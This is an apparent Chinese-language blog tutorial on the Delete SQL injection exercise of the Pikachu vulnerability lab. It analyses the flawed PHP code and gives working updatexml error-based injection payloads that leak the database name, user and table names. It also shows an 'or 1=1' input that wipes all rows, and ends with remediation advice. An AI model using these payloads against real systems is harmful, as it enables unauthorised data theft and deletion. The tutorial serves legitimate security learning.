Java程序员_编程开发学习笔记_网站安全运维教程_渗透技术教程

深入解析Pikachu Delete注入漏洞:从代码分析到报错注入实战

阿贵
8月6日发布 /正在检测是否收录...
温馨提示:
本文最后更新于2025年08月06日,已超过15天没有更新,若内容或图片失效,请留言反馈。

深入解析Pikachu Delete注入漏洞:从代码分析到报错注入实战

在Web安全渗透测试中,SQL注入始终是最常见且危害极大的漏洞类型之一。今天我们以Pikachu漏洞练习平台的Delete注入题目为例,深入剖析漏洞成因,并通过实战演示如何利用报错注入获取数据库敏感信息。

一、漏洞背景与环境说明

Pikachu是一款广受安全学习者欢迎的漏洞练习平台,其中的“Delete注入”题目模拟了实际开发中因不当处理用户输入而导致的SQL注入风险。该场景通常出现在数据删除功能中,攻击者可通过构造特殊请求,篡改SQL语句实现未授权操作或信息泄露。

本次分析的核心场景是一个消息删除功能——用户点击删除按钮时,前端会向服务器传递消息ID,服务器根据该ID执行删除操作。看似简单的功能,却因代码缺陷埋下了安全隐患。

二、漏洞源代码深度分析

我们先来看存在漏洞的核心代码:

// 原始代码(存在漏洞)
if(array_key_exists('id', $_GET)){
    $query="delete from message where id={$_GET['id']}";
    $result=execute($link, $query);
    if(mysqli_affected_rows($link)==1){
        header("location:sqli_del.php");
    }else{
        $html.="<p style='color: red'>删除失败,检查下数据库是不是挂了</p>";
    }
}

漏洞关键成因:

  1. 输入未做任何过滤
    代码直接使用$_GET['id']拼接SQL语句,未进行类型验证(如is_numeric()判断)或转义处理。这意味着用户传入的id参数可直接控制SQL语句结构。
  2. SQL语句拼接方式不安全
    delete语句采用字符串拼接:"delete from message where id={$_GET['id']}"。由于id参数未加引号包裹(直接作为数值拼接),攻击者可轻松注入恶意SQL代码改变语句逻辑。
  3. 对比安全版本的差异
    注释中提到的安全写法if(array_key_exists('id', $_GET) && is_numeric($_GET['id']))明确要求id必须为数字,而漏洞代码删除了这一验证,直接导致注入风险。

三、漏洞利用原理:从删除操作到信息泄露

Delete注入的特殊性在于:它本身是删除数据的操作,但通过构造注入语句,我们可将其转化为信息查询工具。核心思路是利用SQL语句的逻辑拼接,在执行删除操作的同时执行查询语句,并通过报错信息获取结果。

以本题为例,正常的删除SQL为:

delete from message where id=1

当我们传入恶意id参数时,SQL语句会被篡改。例如传入1 or 1=1,语句变为:

delete from message where id=1 or 1=1  -- 删除所有消息(危险!)

但在实际测试中,我们更关注如何在不破坏数据的前提下获取信息,报错注入正是最佳选择。

四、实战:基于报错注入的数据库信息获取

1. 报错注入原理

报错注入利用了MySQL的函数特性:当某些函数(如updatexml()extractvalue())的参数不符合语法规范时,会抛出错误并显示参数内容。通过在参数中嵌入查询语句,即可将查询结果通过报错信息泄露。

核心函数updatexml()的语法:

updatexml(XML_document, XPath_string, new_value)

XPath_string包含非XML规范字符(如~)时,MySQL会报错并显示该字符串,这就是我们泄露信息的关键。

2. 构造Delete注入的报错Payload

针对本题的漏洞代码,有效的报错注入Payload为:

Payload解析:

  • 1:作为初始id值,确保语句前半部分语法正确
  • or:逻辑运算符,用于拼接后续恶意代码(只要前后有一个为真,整个条件就为真)
  • updatexml(1,concat(0x7e,database()),0):核心注入代码

    • concat(0x7e,database()):将波浪号(0x7e~的十六进制编码)与数据库名拼接
    • updatexml~不符合XML规范而报错,同时显示拼接后的内容(如~pikachu

3. 执行注入与结果分析

将Payload作为id参数传入URL:

http://[目标地址]/sqli_del.php?id=1 or updatexml(1,concat(0x7e,database()),0)

在浏览器上访问就行了,抓包分析的话需要url转码
屏幕截图 2025-08-06 232957.png
delete注入.png

执行后,页面会返回类似以下的错误信息:

XPATH syntax error: '~pikachu'

其中pikachu就是当前数据库的名称,证明注入成功。

4. 扩展:获取更多敏感信息

通过修改Payload中的查询语句,可进一步获取表名、列名等信息:

  • 获取当前用户:1 or updatexml(1,concat(0x7e,user()),0)
  • 获取消息表的表名(假设已知库名pikachu):

    1 or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)
  • 获取表中列名(假设已知表名message):

五、漏洞修复建议

Delete注入的本质是用户输入未被安全处理就拼接进SQL语句,修复需从根本上避免这种风险:

  1. 严格验证输入类型
    恢复代码中对id的数值验证,确保仅接受数字:

    if(array_key_exists('id', $_GET) && is_numeric($_GET['id'])){...}
  2. 使用参数化查询
    采用预处理语句分离SQL结构与用户输入,彻底杜绝注入:

    $stmt = mysqli_prepare($link, "delete from message where id=?");
    mysqli_stmt_bind_param($stmt, 'i', $_GET['id']);  // 'i'表示参数为整数
    mysqli_stmt_execute($stmt);
  3. 最小权限原则
    数据库账号仅授予必要权限(如删除操作所需权限),限制注入后的破坏范围。

六、总结

Pikachu的Delete注入题目生动展示了“信任用户输入”带来的风险。通过本次实战,我们不仅掌握了报错注入的原理与Payload构造方法,更深刻理解了“参数化查询”对于防御SQL注入的重要性。在实际开发中,任何与数据库交互的功能都应严格过滤用户输入,这是保障Web安全的基础防线。

喜欢就支持一下吧
点赞 1 分享 收藏
评论 抢沙发
OωO
取消 登录评论